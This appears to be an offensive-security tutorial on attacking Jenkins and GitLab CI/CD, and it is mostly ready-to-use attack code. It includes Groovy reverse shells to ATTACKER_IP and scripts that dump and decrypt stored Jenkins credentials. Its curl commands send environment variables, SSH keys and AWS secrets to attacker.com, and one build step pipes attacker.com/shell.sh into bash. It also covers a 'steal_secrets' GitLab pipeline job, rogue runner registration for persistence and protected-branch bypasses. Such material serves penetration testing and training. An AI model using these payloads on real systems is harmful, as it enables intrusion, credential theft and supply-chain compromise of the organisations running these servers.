🔥 Advanced

Jenkins & GitLab Exploitation

Jenkins and GitLab are enterprise CI/CD workhorses. Their power makes them high-value targets - access often means credentials to everything.

🔧 Jenkins Exploitation

Jenkins runs ~50% of enterprise CI/CD. It's Java-based with Groovy scripting - admin access = immediate RCE.

🎯
Script Console
Groovy RCE
🔐
Credentials
Decrypt stored secrets
📋
Build Logs
Secret leakage

Script Console RCE

High Impact

The Jenkins Script Console at /script executes arbitrary Groovy. Admin access = immediate server compromise. Many instances leave this exposed.
bash
// ===== LINUX REVERSE SHELL =====
String host = "ATTACKER_IP";
int port = 4444;
String cmd = "/bin/bash";
Process p = new ProcessBuilder(cmd, "-i").redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
    while (pi.available() > 0) so.write(pi.read());
    while (pe.available() > 0) so.write(pe.read());
    while (si.available() > 0) po.write(si.read());
    so.flush(); po.flush(); Thread.sleep(50);
}
p.destroy(); s.close();

// ===== WINDOWS REVERSE SHELL =====
String host = "ATTACKER_IP";
int port = 4444;
String cmd = "cmd.exe";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
// ... same streaming code ...

// ===== COMMAND EXECUTION (simpler) =====
def cmd = "whoami".execute();
println cmd.text

def cmd2 = ["cat", "/etc/passwd"].execute();
println cmd2.text

// ===== READ FILES =====
new File("/etc/passwd").text
new File("C:\\Users\\Administrator\\Desktop\\flag.txt").text

Credential Extraction

Jenkins stores credentials encrypted. With file access, you can decrypt them:

bash
# FILES YOU NEED (usually in /var/lib/jenkins or JENKINS_HOME):
# 1. secrets/master.key
# 2. secrets/hudson.util.Secret  
# 3. credentials.xml (or jobs/*/config.xml for job-specific creds)

# === METHOD 1: Via Script Console (if you have access) ===
println(hudson.util.Secret.decrypt("{AQAAABAAAAAQd...}"))

# Or dump ALL credentials:
import jenkins.model.*
import com.cloudbees.plugins.credentials.*
def creds = CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardCredentials.class,
    Jenkins.instance,
    null,
    null
);
for (c in creds) {
    println(c.id + " : " + c.description)
    if (c instanceof com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl) {
        println("  Username: " + c.username)
        println("  Password: " + c.password.getPlainText())
    }
}

# === METHOD 2: Offline with files ===
# Use jenkins-credentials-decryptor:
python3 jenkins_credentials_decryptor.py -m master.key -s hudson.util.Secret -c credentials.xml

Jenkins Enumeration

bash
# Check if Jenkins is running
curl -s http://target:8080 | grep -i jenkins

# Check for unauthenticated access
curl -s http://target:8080/script
curl -s http://target:8080/asynchPeople/

# API endpoints (may leak info)
curl -s http://target:8080/api/json?pretty=true
curl -s http://target:8080/computer/api/json?pretty=true

# List all jobs
curl -s http://target:8080/api/json?tree=jobs[name,url]

# Get build console output (secrets often leaked here)
curl -s http://target:8080/job/JobName/lastBuild/consoleText

# Check for vulnerable plugins
curl -s http://target:8080/pluginManager/api/json?depth=1

# Common credential locations
/var/lib/jenkins/secrets/
/var/lib/jenkins/credentials.xml
/var/lib/jenkins/users/*/config.xml
C:\Program Files\Jenkins\secrets\
C:\ProgramData\Jenkins\.jenkins\

Build Job Manipulation

bash
# If you can modify job configs (via UI, API, or file access):

# 1. Add malicious build step
# In job config, add Execute Shell:
curl -X POST -d "$(env)" https://attacker.com/collect
cat ~/.ssh/id_rsa | base64 | curl -X POST -d @- https://attacker.com/key

# 2. Via API (requires authentication)
# Get current config
curl -u user:token http://jenkins/job/JobName/config.xml -o config.xml

# Modify config.xml, add to <builders>:
<hudson.tasks.Shell>
  <command>curl attacker.com/shell.sh | bash</command>
</hudson.tasks.Shell>

# Upload modified config
curl -X POST -u user:token http://jenkins/job/JobName/config.xml --data-binary @config.xml

🦊 GitLab CI/CD Exploitation

GitLab combines SCM + CI/CD. Runners execute jobs - compromise them for secrets, code, and network access.

🏃
Runners
Job execution
🔑
CI Variables
Secrets in env
📝
.gitlab-ci.yml
Pipeline control

CI Variable Extraction

bash
# .gitlab-ci.yml - add to any job to exfil secrets:

stages:
  - build

steal_secrets:
  stage: build
  script:
    # Dump all environment variables
    - env | sort | curl -X POST -d @- https://attacker.com/env
    
    # Target specific variables
    - |
      curl -X POST \
        -d "aws_key=$AWS_ACCESS_KEY_ID" \
        -d "aws_secret=$AWS_SECRET_ACCESS_KEY" \
        -d "deploy_key=$DEPLOY_SSH_KEY" \
        https://attacker.com/collect
    
    # Grab CI_JOB_TOKEN (can clone other repos!)
    - echo $CI_JOB_TOKEN | curl -X POST -d @- https://attacker.com/token
    
    # Clone private repos using job token
    - git clone https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.com/company/internal-repo.git

Rogue Runner Registration

Persistence Technique

If you find a runner registration token, you can register your own runner and intercept all jobs that target it.
bash
# Runner registration tokens are found in:
# - GitLab Admin > Runners (admin access)
# - Group/Project > CI/CD > Runners
# - Sometimes leaked in .gitlab-ci.yml or logs

# Register rogue runner
gitlab-runner register \
  --url https://gitlab.target.com/ \
  --registration-token LEAKED_TOKEN \
  --executor shell \
  --description "build-runner-02" \
  --tag-list "docker,linux,build"

# Now ALL jobs with matching tags run on YOUR machine
# You see source code, environment variables, secrets...

# Check for existing runners (with access)
curl --header "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.target.com/api/v4/projects/:id/runners"

GitLab API Enumeration

bash
# Check version (important for CVE matching)
curl -s https://gitlab.target.com/api/v4/version

# List accessible projects
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.target.com/api/v4/projects?membership=true"

# Get project variables (if maintainer+)
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.target.com/api/v4/projects/:id/variables"

# List CI/CD pipelines
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.target.com/api/v4/projects/:id/pipelines"

# Get job logs (secrets often leaked)
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.target.com/api/v4/projects/:id/jobs/:job_id/trace"

# Find runner tokens in old pipelines
# Search for "registration_token" in job logs

Protected Branch Bypass

bash
# Protected branches restrict who can push
# But CI/CD often has elevated permissions...

# Method 1: Use CI_JOB_TOKEN to push (if permissions allow)
git remote set-url origin https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.com/repo.git
git push origin main  # May bypass protections

# Method 2: Use Deploy Keys
# If SSH deploy key is in CI variables:
echo "$DEPLOY_SSH_KEY" > /tmp/key && chmod 600 /tmp/key
GIT_SSH_COMMAND="ssh -i /tmp/key" git push origin main

# Method 3: Abuse merge request approvals
# Create MR from feature branch (you control)
# CI passes, auto-merge kicks in

Tools